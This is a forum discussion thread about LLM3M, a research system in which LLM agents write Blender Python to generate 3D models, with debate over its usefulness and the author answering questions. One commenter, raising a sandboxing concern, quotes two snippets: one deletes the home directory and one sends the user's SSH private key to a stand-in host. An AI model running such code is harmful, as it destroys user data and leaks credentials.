LL3M: Large Language 3D Modelers

https://threedle.github.io/ll3m/

by simonpure • 11 months ago

442 183 11 months ago

threedle.github.io

keyle• 11 months ago

This is at "cute" level of useful I feel. A few more iterations though and this will get interesting.

swinglock• 11 months ago

Looks like a fun toy. That can already be useful. I'm thinking of games that don't even have to leave a prototype stage, e.g. Roblox, or actually just for better prototyping. Even if it can't produce anything sufficiently good yet (depends on the game and audience, look at Minecraft), if it's fun tinker with that's enough to be useful. If it improves that will certainly be more exciting but it already looks useful.

dachworker• 11 months ago

You can also use LLMs to write python code for FreeCAD. It kinda works, if you coach it through the whole process in baby steps.

rjsw• 11 months ago

I think it would be better to train a LLM on and get it to generate a standard exchange format, COLLADA or gITF could be worth trying.

ZiiS• 11 months ago

Also surprising good at OpenSCAD if you keep reminding it not to assign shapes to variables.

nrjames• 11 months ago

I was playing with Aseprite (pixel editor) the other day. You can script it with Lua, so I asked Claude to help me write scripts that would create different procedurally-generated characters each time they were run. They were reproducible with seeds and kind of resembled people, but very far from what I would consider to be high quality. It was a fun little project and easily accessible, though.

- https://www.aseprite.org

notimpotent• 11 months ago

If you're interested in that, check out the guys over at pixellab.ai

They have an Aesprite plugin that generates pretty nice looking sprites from your prompts.

kleiba• 11 months ago

I've been looking for a good pixel-art AI for a while. Most things I tried look okay, but not stunning. If anyone has had good experience with an AI tool for that, I'd be grateful for a link.

nickparker2• 11 months ago

I've had surprising success with meshy.ai as part of a workflow to go from images my friends want to good 3D models. The workflow is

1. Have gpt5 or really any image model, midjourney retexture is also good, convert the original image to something closer to a matte rendered mesh, IE remove extraneous detail and any transparency / other confusing volumetric effects

2. Throw it in meshy.ai image to 3D mode, select the best one or maybe return to 1 with a different simplified image style if I don't like the results

3. Pull it into blender and make whatever mods I want in mesh editing mode, eg specific fits and sizing to assemble with other stuff, add some asymmetry to an almost-symmetric thing because the model has strong symmetry priors and turning them off in the UI doesn't realllyyy turn them off, or model on top of the AI'd mesh to get a cleaner one for further processing.

The meshes are fairly OK structure wise, clearly some sort of marching cubes or perhaps dual contouring approach on top of a NeRF-ish generator.

I'm an extremely fast mechanical CAD user and a mediocre blender artist, so getting an AI starting point is quite handy to block out the overall shape and let me just do edits. EG a friend wants to recreate a particular statue of a human, tweaking some T-posed generic human model into the right pose and proportions would have taken me "more hours than I'm willing to give him for this" ie I wouldn't have done it, but with this workflow it was 5 minutes of AI and then an hour of fussing in Blender to go from the solid model to the curvilinear wireframe style of the original statue.

menzoic• 11 months ago

GPT-5 is a text only model. ChatGPT uses 4o for images still

mattnewton• 11 months ago

The naming is very confusing. I thought the underlying model was gpt image 1 in the api but transparently shown as part of the same chat model in the UI?

QuantumNomad_• 11 months ago

1. […] convert the original image to something closer to a matte rendered mesh […]

Sounds interesting. Do you have any example images like that you could share? I understand the part about making transparent surfaces not transparent. But I’m not sure how the whole image looks like after this step.

Also, would you be willing to share the prompt you type to achieve this?

nickparker2• 11 months ago

It works if you just plainly describe what you're looking for, I write a new prompt for different images just like "re-render this as a matte untextured 3d model, remove all details except geometric form"

aatd86• 11 months ago

So soon enough, everyone will be able to vibecode game assets and players will be able to create their own character designs on-the-fly? Sweet although I also feel for designers as a profession.

toddmorey• 11 months ago

Designers, developers, producers—anyone involved in the supply chain.

nativeit3• 11 months ago

Don’t worry. Delusional optimists will eventually learn that not everything can be handwaved away with “it’ll get better,” especi when “it” is already the most expensive and most-funded software project in history, and still sucks in most contexts.

king_terry• 11 months ago

This is amazing. Solo game dev will actually become solo.

bluefirebrand2• 11 months ago

I hope we adopt some kind of "This product uses AI generated content" label for games so I can avoid them forever :)

hhh• 11 months ago

Steam has this

Workaccount2• 11 months ago

That's when people just lie about using AI. The thing about AI is that it is only obvious when it is obvious.

jellybaby2• 11 months ago

Haaa you sound jealous :-) Pity you’re not smart enough to benefit

nativeit3• 11 months ago

I’ve been saying for a long time, “gaming is just too pro-social and well adjusted, we need more isolation and introversion in gaming!”

Etherlord8710• 11 months ago

As someone using Blender for ~7 years, with over 1000 answers on Blender Stack Exchange and total score of 48.000:

This tool is maybe useful if you want to learn Python, in particular Blender Python API basics, I don't really see other usage of this. All examples given are extremely simple to do; please don't use a tool like this, because it takes your prompt and generates the most bland version of it possible. It really takes only about a day to go through some tutorials and learn how to make models like these in Blender, with solid color or some basic textures. The other thousands of days is what you would spend on creating correct topology, making an armature, animating, making more advanced shaders, creating parametric geometry nodes setups... But simple models like these you can create effortlessly, and those will be YOUR models, the way (roughly, of course) how you imagined them. After a few weeks you're probably going to model them faster than the time it takes for prompt engineering. By that time your imagination, skill in Blender and understanding of 3D technicalities will improve, and it will keep improving moving onward. And what will you learn using this AI?

I think meshy.ai is much more promising, but still I think I'd only consider using it if I wanted to convert photo/render into a mesh with a texture properly positioned onto it, to then refine the mesh by sculpting - and sculpting is one of my weakest skills in Blender. BTW I made a test showcasing how meshy.ai works: https://blender.stackexchange.com/a/319797/60486

sbarre8• 11 months ago

Yeah but remember this tool is, today, the worst it will ever be.

This kind of work will only improve, and we're in early days for these kinds of applications of LLM tech.

jappgar2• 11 months ago

LLMs aren't suited to this, just like they aren't suited to generating images (different models do the hard work, even when you're using an LLM interface).

I agree with the parent comment. This might be neat to learn the basics of blender scripting, but it's an incredibly inefficient and clumsy way of making anything worthwhile.

latexr5• 11 months ago

I wish that “it will get better” wasn’t the response every time someone shares actionable advice and thoughtful specific criticism about the state of the art.

You don’t know if it will get better. Even if it does, you don’t know by how much or the time frame. You don’t know if it will ever improve enough to overcome the current limitations. You don’t know if it will take years.

In the meantime, while someone is sitting on their ass for years waiting for the uncertain future of the tool getting better, someone else is getting their hands dirty, learning the craft, improving, having fun, collaborating, creating.

There is plenty of garbage out there where we were promised “it will only get better”, “in five years (eternally five years away) it will take over the world”, and now they’re dead. Where’s the metaverse NFT web3 future? Thrown into a trash can and lit on fire, replaced by the next embarrassment of chatting with porn versions of your step mom.

https://old.reddit.com/r/singularity/comments/1mrygl4/this_i...

voxleone• 11 months ago

It's a neat tool. But i suspect it can only ever be as good as Blender. Of course I could be wrong.

blakcod• 11 months ago

Let’s be honest most are just looking to get acquired. Then enshittified.

ghurtado5• 11 months ago

Yeah but remember this tool is, today, the worst it will ever be.

True. And it if it stops to be a path forward because a better approach is found (something more likely than not), then this is also the best it will ever be.

parineum2• 11 months ago

Hammers have existed for thousands of years and still can't do my laundry.

dash22• 11 months ago

What if I don't want to spend a few weeks learning Blender? What if I just want to spend a couple of hours and get something that's good enough?

numpad04• 11 months ago

Then you don't get any positive recognitions for the product anyway.

ghurtado5• 11 months ago

If you think the results in that page are "good enough", then I assure you, as a heavy blender and Gen AI user, that it would take you much less time to get this good at blender (about Logo turtle level) than it would to figure out how to run this model yourself locally, with all the headaches attached.

Without question.

raincole2• 11 months ago

The best thing you can do is to just make money. I am serious.

The current 3D GenAI isn't that good. And if when they eventually become good enough they won't be very cheap to run locally, at least for quite a while. You just need to wait & hoard spare cash. Learning how to use the current models is like trying to get GPT1 to write code for you.

spiralcoaster2• 11 months ago

Sounds like you're looking for something like an asset store, or open source models.

exasperaited2• 11 months ago

... is like...

What if I don't want to learn guitar? What if I just want to spend a couple of hours and get something that sounds like guitar?

I tend to say in this situation: you can do that. Nobody's stopping you. But you shouldn't expect wider culture to treat you like you've done the work. So what new creative work are you seeking to do with the time you've saved?

jimmis• 11 months ago

As a designer/dev working on AI for customer service tools, who has to constantly reminding stakeholders that LLMs aren't creative, aren't good at steering conversations, etc. I wish there was more focus on integrating AI into tools in ways that make work faster, rather than trying to do-it-all. There's still so much low-hanging fruit out there.

Other than the obvious (IDEs), wish there were more tools like Fusion360's ai auto-constraints. Saves so much time on something that is mostly tedious and uncreative. I could see similar integrations for Blender (honestly the most interesting part of what op posted is changing the materials... could save a lot of time spent connecting noodles).

sbuk• 11 months ago

Tedious tasks, like retopologising, UV unwrapping and rigging would be great examples of where AI in tools like Maya and Blender could be really useful.

btown• 11 months ago

I think there’s a really interesting point here that even if a model is capable of planning and reasoning, part of the skillset of a creator is that asking for the right thing requires an understanding of how that model is creating its artifacts.

And in 3D, you won’t be able to do that without understanding, as an operator, what you’d want to ask for. Do you want this specific part to be made parametrically in a specific way for future flexibility, animation, or rendering? When? Why? And do these understandings of techniques give you creative ideas?

A model trained solely on the visual outcome won’t add these constraints unless you know to ask for them.

Even if future iterations of this technology become more advanced and can generate complex models, you need to develop a skillset to be able to gauge and plan around how they fit into your larger vision. And that skillset requires fundamentals.

myhf• 11 months ago

The article is about language models. Language models are not capable of planning or reasoning.

overfeed4• 11 months ago

I don't really see other usage of this

My hot-take: this is the future of high-fidelity prompt-based image generation, and not diffusion models. Cycles (or any other physically based renderer) is superior to diffusion models because it is not probabilistic, so scene generation via LLM before handing to off to a tool leads to superior results, IMO - at least for "realistic" outputs.

ghurtado5• 11 months ago

My hot-take: this is the future of high-fidelity prompt-based image generation and not diffusion models

Why are those two the only options?

raincole2• 11 months ago

Of course no one knows the future, but I think it's very plausible that the future of films/games (especially games) tech resembles something like this:

1. Generation something that looks good in 2D latent space

2. Generation 3D representation from 2D

3. Next time the same scene is shown on the screen, reuse information from step 2 to guide step 1

tarr11• 11 months ago

One of my hobbies is Houdini which is like Blender. While I agree with you that you can build a nice parameterised model in a few days - if you want to make an entire scene or a short film, you will need hundreds if not thousands of models, all textured and topolgized and many of them rigged, animated or even have simulations.

What this means is that making even a 2 minute short animation is out of reach for a solo artist. Your only option today is to go buy an asset pack and do your best. But then of course your art will look like the asset pack.

AI Tools like this reduce one of the 20+ stages down to something reachable by someone working solo.

latexr5• 11 months ago

Your only option today is to go buy an asset pack and do your best.

There is a real possibility the assets generated by these tools will look equally or even more generic, the same generated images today are full of tells.

What this means is that making even a 2 minute short animation is out of reach for a solo artist.

Flatland was animated and edited by a single person. In 2007. It’s a good movie. Granted, the characters are geometric shapes, but still it’s a 90 minute 3D movie.

https://en.wikipedia.org/wiki/Flatland_(2007_Ehlinger_film)

Puparia is a gorgeous 2D animated film done by a single person in 2020.

https://en.wikipedia.org/wiki/Puparia

These are exceptional cases (by definition, as there aren’t that many of them), but do not underestimate solo artists and the power of passion and resilience.

thwarted• 11 months ago

What this means is that making even a 2 minute short animation is out of reach for a solo artist.

Is it truly the duration of the result that consumes effort and the number of people required? What is the threshold for a solo artist? Is it expected that a 2 minute short takes half as much effort/people as a 4 minute short? Does the effort/people scale linearly, geometrically, or exponentially with the duration? Does a 2 minute short of a two entity dialog take the same as a 4 minute short of a monologue?

Your only option today is to go buy an asset pack and do your best. But then of course your art will look like the asset pack.

What's more valuable? That you can create a 2 minute short solo or that all the assets don't look like they came from an asset pack? The examples shown in TFA look like they were procedurally generated, and customizations beyond the simple "add more vertexes" are going to take time to get a truly unique style.

AI Tools like this reduce one of the 20+ stages down to something reachable by someone working solo.

To what end? Who's the audience for the 2 minute short by a solo developer? Is it meant to show friends? Post to social media as a meme? Add to a portfolio to get a job? Does something created by skipping a large portion of the 20+ steps truly demonstrate the person's ability, skill, or experience?

elif• 11 months ago

As someone who has tried to go through blender tutorials for multiple days, I can tell you, there is no chance I can get close to any of these examples.

I think you might be projecting your abilities a bit too much.

As someone who wants to make and use 3d models, not someone who wants to be a 3d model artist, this tech is insanely useful.

echelon6• 11 months ago

0.0001% of the population can sculpt 3D and leverage complex 3D toolchains. The rest of us (80% or whatever - the market will be big) don't want to touch those systems. We don't have the time, patience, or energy for it, yet we'd love to have custom 3D games and content quickly and easily. For all sorts of use cases.

But that misses the fact that this is only the beginning. These models will soon generate entire worlds. They will eventually surpass human modeller capabilities and they'll deliver stunning results in 1/100,000th the time. From an idea, photo, or video. And easy to mold, like clay. With just a few words, a click, or a tap.

Blender's days are long in the tooth.

I'm short on Blender, Houdini, Unreal Engine, Godot, and the like. That entire industry is going to be reinvented from scratch and look nothing like what exists today.

That said, companies like CSM, Tripo, and Meshy are probably not the right solutions. They feel like steam-powered horses.

Something like Genie, but not from Google.

Etherlord8710• 11 months ago

Wrong tutorials. A lot of these models consist of just taking a primitive like a sphere, scaling it, and then creating another primitive, scaling it, moving it, so you have overlapping hulls ("bad" topology). Then in shading you just create a default material and set its color.

There are models in the examples that require e.g. extrusion (which is literally: select faces, press E, drag mouse).

Some shapes are smoothed/subdivided with Catmul-Clark Subdivision Surface modifier, which you can add simply by pressing CTRL+2 in "Object Mode" (the digit is the number of subdivisions, basically use 1 to 3, you may set more for renders).

Here's a good, albeit old tutorial: https://www.youtube.com/watch?v=1jHUY3qoBu8

Yes I made some assumptions when estimating it takes about a day to learn to make models like this: you have a free day to spend it in its entirety to learn, and as a hackernews user your IQ is over average and you're technically savvy. And last assumption: you learn skills required evenly, rather than going deep into the rabbit hole of e.g. correct topology; if you go through something like Andrew Pierce's doughnut tutorial, it may take more than a day, especially if you play around with the various functions of Blender rather than strictly following the videos - but you will end up making significantly better models than the examples presented, e.g. you will know to inset cylinder's ngons to avoid the Catmul-Clark subdiv artifacts you can see on the 2nd column of hats.

this tech is insanely useful.

No, it isn't, but you don't see it, because you don't have enough experience to see it (Dunning-Kruger effect) - this is why I mentioned my experience, not to flex but to point out I have the experience required to estimate the value of this tool.

spookie2• 11 months ago

I'm surprised if anything.

All examples are really just primitives either extruded in one step or the same and maybe 5 of them together.

I don't want to sound mean but these are reachable with just another day at it. They really are.

orbital-decay• 11 months ago

Of course. It's a research paper, not a product.

AndrewKemendo• 11 months ago

I’m going to start calling responses like these “death rattles”

There’s something uniquely spirited about narrowly focused experts feeling threatened by “AI” and responding like this wherein some set of claims are made (“AI will never be able to [insert your speciality]” or “This can’t do the [specific edge case in an expert at]”)

except for the root claim:

“This threatens both my economic stability because it will shift my market, and my social status because I have devoted 100,000 hours to practicing and expertise so that I can differentiate myself because it’s part of my identity”

Etherlord8710• 11 months ago

feeling threatened by “AI”

Why the quotes there? I do feel threatened by AI, but not economically, not in the context of this article at least.

AI will never be able to

I said no such thing.

This can’t do the

I also didn't said that, I didn't focus on any particular thing it can't do. In general I don't voice my opinion, I think here the urge was just too strong because the examples were just too crude and I had to say if you think those are impressive, you can literally do it after a day's worth of learning; and I only flexed my expertise to give some strength to that statement and motivate people to really try.

“This threatens both my economic stability because it will shift my market, and my social status because I have devoted 100,000 hours to practicing and expertise so that I can differentiate myself because it’s part of my identity”

I'm an OSHA inspector/instructor. I don't think what I learned in 3D will go to waste even if AI will actually start creating good 3D models (I wouldn't bet against it).

aledalgrande• 11 months ago

I don't know a lot about 3D modeling, but I can see that the objects created by this AI are way too high poly, which would be bad for performance if used e.g. in a game. But it still looks like a great prototyping tool to me, especially if you want to express an idea in your head to an actual 3D designer, in the same way UX designers can show a prototype to developers with Claude code now, instead of trying to repro an idea with Figma.

vessenes• 11 months ago

Notable here I think is the agent workflow - as LLMs continue to have increased 3d world understanding, they’re going to be useful in a variety of circumstances. Taking the human out of the loop for error checking and bug fixing is going to be useful, even if its just a background process that experts like Etherlord87 in this thread gain a little bug fixing / suggesting / pop up help from. Meanwhile being able to programmatically instrument this stuff is super useful, and will keep getting more useful.

mattigames• 11 months ago

Something I don't understand is why is there such effort to crafting generators for all kinds of content but there isn't the same level of interest for crafting consumers of it? AIs that will play your games and watch your movies and tell you how good job "you" did? If is about money you don't have a chance because the monopolistic middlemen will hoard all space, e.g. Steam will generate the PC games that go popular, and whatever space is left will be quickly saturated by an overabundance of generated content, so given the scarcity of attention is only going up the next logical step is to generate the "people" that will consume the content, bots that craft reviews about what they "saw" and how they "felt" and have different "personalities" and constantly interact with each other.

sbarre8• 11 months ago

I think that kind of multi-modal work is ongoing but not as advanced as text-based LLMs are today.

All these kinds of generators are LLM-via-text-proxy in the sense that people are using LLM's excellent text generation properties to generate via scripting interfaces in various tools.

reactordev3• 11 months ago

Before you trash on the 3d model quality, just think about the dancing baby and early pixar animations. This is incredible. I can't wait to be able to prompt my llm to generate a near-ready 3d model that all I have to do is tweak, texture, bake, and export.

jappgar2• 11 months ago

LLMs are language models. Meshes aren't language. Yes this can create python to create simple objects, but that's not how anyone actually creates beautiful 3d art. Just like no one is handwriting svg files to create vector art.

LLMs alone will never make visual art. They can provide you an interface to other models, but that's not what this is.

reactordev3• 11 months ago

I know that, I was making a statement about how you can.

Not exactly sure what your point is. If an LLM can take an idea and spit out words, it can spit out instructions (just like we can with code) to generate meshes, or boids, or point clouds or whatever. Secondary stages would refine that into something usable and the artist would come in to refine, texture, bake, possibly animate, and export.

In fact, this paper is exactly that. Words as input, code to use with blender as output. We really just need a headless blender to spit it out as a GLTF and it’s good to go to second stage.

margalabargala• 11 months ago

That's fine. I'm happy to define "visual art" as things LLMs can't do, and use LLMs only for the 3d modelling tasks that are not "visual art".

Such tasks can be "not making visual art", but that doesn't mean they aren't useful.

rozab• 11 months ago

This is of course true, but have you ever seen Inigo Quilez's SDF renderings? It's certainly not scalable, but it sure is interesting

https://www.youtube.com/watch?v=8--5LwHRhjk

martin-t• 11 months ago

I too can't wait until every last bit of experience gained through trillions of hours of human experimentation is compiled into statistical models and monetized without ever paying a cent to the people who made it possible.

Buttons840• 11 months ago

What is that Python code? Is it a Python library or is this the Blender API?

zeograd• 11 months ago

That's the blender API, supported by an embedded python interpreter coming with each Blender install

ThouYS• 11 months ago

large token models are coming for everything, because everything can be made a token.

the detour via language here is not needed, these models can speak geometry more and more fluently

Stevvo• 11 months ago

Right, like word2vec blew everyone's mind back in the day, but 3D models have always existed in a "vector space".

numpad04• 11 months ago

This seem like a great observation, a lot of negative reactions to AI generated data seem to come from limitations of using language, thereby denying good creative input from its users.

ninetyninenine• 11 months ago

I think architectures like this will be the key to agi. A constellation of specialized microservices of AI models, not all necessarily LLMs working in tandem to formulate output from input.

I think it's clear that the human brain is modular, and that at least one module in the human brain shares similarities to the LLM. So the key is really to build the other modules and interconnect everything.

NullCascade• 11 months ago

Considering most SOTA LLMs are also multimodal/vision models, could they get better results if the LLM gets visual feedback with it?

exe34• 11 months ago

Can it do the pelican on a bicycle?

throwmeaway2222• 11 months ago

What I always wanted in video games where you can craft weapons was the idea that you can combine the duct tape with wood with fishing lures and it creates something the designer didn't think about :)

manc_lad• 11 months ago

Zelda Breath of the Wild attempts to approach this with an interesting interface.

xnx• 11 months ago

Tears of the Kingdom?

sfn422• 11 months ago

That's not really possible. You need fish and fishing mechanics, you can't just create a game where fishing happens to be possible without anyone having thought about it.

You would basically need a life simulator for that, with rules like fish exist, fish live in water, fish chase other organic things in the water, a worm attracts fish, the hook makes the fish stick if it bites, do you see what I'm saying? You can't just have all this stuff happening organically. It's possible to have systems where the possibilities are so vast that the dev can't consider all of them, like spore or path of exile or whatever, lots of games with lots of options for customization. But you can't just have a real world simulator, the real world is too complex to simulate, let alone in real time.

throwmeaway2222• 11 months ago

yeah well, it's all coming

emporas4• 11 months ago

Very encouraging results. Spatial intelligence of LLMs was very bad, one year back. I spent quite some time to make them write stories in which objects are put into up and down positions, left and right, front or back, they always got hopelessly confused.

I asked GPT which one is the most scriptable CAD software, it's answer was Freecad. Blender is not a CAD software as far as I understand, the user cannot make measurements like Freecad.

Unfortunately Freecad's API is a little bit scattered and not well organized, GPT has trouble remembering/searching and retrieving the relevant functions. Blender is a lot more popular, more code on the internet, and it performs much better.

ThomPete2• 11 months ago

Would it be possible to write a script for CAD that could do measurements

emporas4• 11 months ago

Measurements are printed and given usually to construction workers, usually along some axis. People who lay the bricks take a top view from a house with the dimensions along the y axis. People who build the doors and windows take a side view of the dimensions along the x axis. And so on.

Blender cannot do that as far as I understand.

Something like that for example: [1]

[1] https://all3dp.com/2/freecad-2d-tutorial/

bravesoul2• 11 months ago

OpenSCAD?

emporas4• 11 months ago

OpenSCAD doesn't seem to be bad at all, but not thrilled with a custom language to write scripts on it. I found a Rust crate which might help.

I haven't managed yet to write Rust and interoperate with FreeCAD or Blender, so if it is easier to write Rust for OpenSCAD I might settle on OpenSCAD. I have to experiment somewhat to find the most compatible with Rust between the three.

DrBenCarson• 11 months ago

https://zoo.dev/design-studio is better in ever conceivable way

nperez• 11 months ago

I'm not a modeler but I've tried it a few times. For me, modeling is a pain that I need to deal with to solo-dev a 3d game project. I would think about using something like this for small indie projects to output super low-poly base models, which I could then essentially use as a scaffold for my own finer adjustments. Saving time is better than generating high-poly masterpieces, for me at least.

exasperaited2• 11 months ago

I am not a Blender user, but my strong suspicion is that the output of these things does not match what you'd be able to do in very short order by learning a bit of Blender.

One of my suspicions about these "can we make an LLM do something that isn't text?" projects is that underpinning it is something that isn't to do with AI at all.

Instead it's that a lot of specialist programmers really really loathe GUI paradigms for anything, consider text interfaces inherently superior, think the job of a GUI is only to simplify tasks and hide complexity, and so think all complex GUIs that are not immediately intuitive are categorical failures.

In rejecting learning GUI tools they rule out the possibility that GUI interfaces support paradigms text cannot, and they rule out the possibility that anyone who has deep skills in a particular GUI knows anything more than what all the switches and buttons do, when a Blender user is very evidently engaging in a similar kind of abstract thought as programming involved.

It is much the same with FreeCAD. Does the FreeCAD GUI still suck in several places? Yes. It was confusing and annoying until I learned that it is not trying to hide complexity. The inherent complexity is in the problem domain. But a programmer with a bit of maths and logic knowledge can, IMO, easily learn it. And then you discover that the FreeCAD UI is what it is because it is a set of tools designed by CAD-focussed programmers that attempts little to no magic, and suddenly you are using the tools to solve your own problems.

In short a lot of these projects have a whiff of "but I don't wannnnna learn a GUI". The LLM or AI generator offers a way to defer properly learning the tools or techniques that are not so difficult to learn, and so attracts a lot of attention.

ranahanocka3• 11 months ago

Author here. AMA!

GistNoesis• 11 months ago

How would you go to make the llm generate object easier to 3d print (or manufacture)? Things like not using too much material, reducing the need for support, and maybe whether or not the produced part would be tough enough.

Are there some datasets where some LLM learn to interact with some slicers, some Finite Elements Analysis software, or even real world 3d-printed objects to allow the model to do some quality assessment ?

ranahanocka3• 11 months ago

Interesting idea. Our framework of having multiple different agents with different roles could play well with this. You could create an agent that checks for certain criteria, gives feedback to the coding agent. For example, you could build an agent that evaluates the toughness of the current 3D asset and suggests fixes. I like the idea of incorporating additional experts to solve different tasks!

dvdplm• 11 months ago

I like the idea of llms collaborating like this a lot; planning, critiquing, verifying, coding etc. I think that’s a very general and powerful approach. How did you end up with that structure and what did you try first? What are the downsides? How do the component agents communicate, just json?

ranahanocka3• 11 months ago

The agents communicate through different paths. First, there's a "big boss" orchestrator that decides who speaks next. The outputs from all agents (including the code from the coding agent) is put into a shared context that each agent can draw from. Practically speaking, to make this happen we use AutoGen framework.

We slowly started building more and more agents. Everything we tried just worked (kinda amazing). We first started by trying to incorporate visual understanding via VLMs. Then we slowly added more and more agents, and the BlenderRAG gave a huge boost.

rapjr9• 11 months ago

Could this produce a 3D model of a plastic case that will perfectly fit a PCB board? Could it be improved to also produce the CAD files for a PCB board?

panzi2• 11 months ago

Do you execute the Python code directly in Blender or do you perform some sort of sandboxing? How do you make sure that the code only contains save instructions and doesn't do something like this?

    import os, shutil
    shutil.rmtree(os.getenv("HOME"))

Or this?

    import os
    from urllib import request
    data = open(os.getenv("HOME")+"/.ssh/id_rsa").read()
    req = request.Request("http://example.com/", data=data.encode())
    reqest.urlopen(req)

wiw2• 11 months ago

Is there a live demo anywhere? Is it possible to deploy a demo locally to try it out?

aussiegreenie• 11 months ago

I have tried to use Blender and have given up several times. My only constant use of Blend is creating animated titles in Ophenshot.

Anything that simplifies using advanced tools is useful.

29athrowaway• 11 months ago

This could have been the POVRay or VRML reinassance.

But this generation is too young to remember those.

merksoftworks• 11 months ago

This is the direction i've been theoretically harping about to all my friends, API first creative software will win out. After Effects has a decent JS api, Da Vinci Resolve has python and lua, you can script your way to a decent starting point with any of these tools. They even have well featured rollback for transactions committed during scripting. We need a generic MCP for the scripting environments in many desktop apps, screen capture for ones which take multimodal input.

panzi2• 11 months ago

Does that run LLM generated Python code in Blender on your machine? That alone is a no for me. Python is not sandboxed, it can just read or delete all your files.

rambojohnson• 11 months ago

This looks like AI trash. Anyone who works in 3D can spot it instantly. The models are riddled with choices no sane artist would ever make, on top of churning out a grotesque polygon count that only reinforces how sloppy it is.

WhereIsTheTruth• 11 months ago

Who's working on the same thing for rigging/animating/uv?

I want a Blender plugin that assist me, I don't want to click to generate a model

uoaei• 11 months ago

It is remarkable that Transformer-based feedforward models can be appropriated for a whole lot, though at some point it should be considered a stretch to call such models "language models" when they are so heavily adapted to geometric systems.

LL3M: Large Language 3D Modelers

Related Stories